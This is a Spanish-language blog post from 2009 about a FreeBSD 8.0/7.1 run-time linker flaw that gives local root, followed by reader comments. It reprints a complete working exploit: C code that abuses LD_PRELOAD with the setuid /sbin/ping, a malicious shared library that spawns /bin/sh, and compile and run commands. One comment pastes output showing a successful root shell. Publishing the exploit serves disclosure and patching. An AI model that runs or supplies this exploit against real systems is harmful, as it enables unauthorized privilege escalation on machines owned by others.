Fallo en FreeBSD permite obtener root
Acaba de hacerse publica una vulnerabilidad descubierta por Nikolaos Rangos en los sistemas FreeBSD que permite escalar privilegios y obtener permisos de root en las versiones 8.0 y 7.1 de este sistema operativo.
El error reside en el Run-Time-Link Editor (rtld), que normalmente no permite variables de entorno peligrosas como LD_PRELOAD pero con una técnica sencilla el rtld pueden ser engañado para que acepte variables LD, incluso en los binarios setugid.
VERSIONES DE FREEBSD AFECTADAS
**********************************
FreeBSD 8.0-RELEASE *** VULNERABLE
FreeBSD 7.1-RELEASE *** VULNERABLE
FreeBSD 6.3-RELEASE *** NO VULNERABLE
FreeBSD 4.9-RELEASE *** NO VULNERABLE
Para más detalles ver el exploit.
#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include
main() {
extern char **environ;
environ = (char**)malloc(8096);
environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");
execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include
#include
#include
#include
void _init() {
extern char **environ;
environ=NULL;
system("echo ALEX-ALEX;/bin/sh");
}
_EOF
Para compilar y ejecutar
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env
Mas Información en el Full Disclosure publicado por Nikolaos Rangos


1 diciembre 2009 










que siera saber si alguien tiene un manual de intalacion de free sdb 8.0 no lo he podido instalar soy nuevo en esto
llego ala parte de las particiones y me quedo ahi
alguna solucion gracias
que bien, si me es util ya que necesitaba hacer algo asi con mi servidor
$ ./env
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
ALEX-ALEX
# who
xxxxxx ttyv0 Dec 2 14:10
root ttyv1 Dec 2 14:14
xxxxxx pts/0 Dec 2 14:11 (:0)
xxxxxx pts/1 Dec 2 14:13 (:0.0)
xxxxxx pts/2 Dec 2 16:07 (:0.0)
#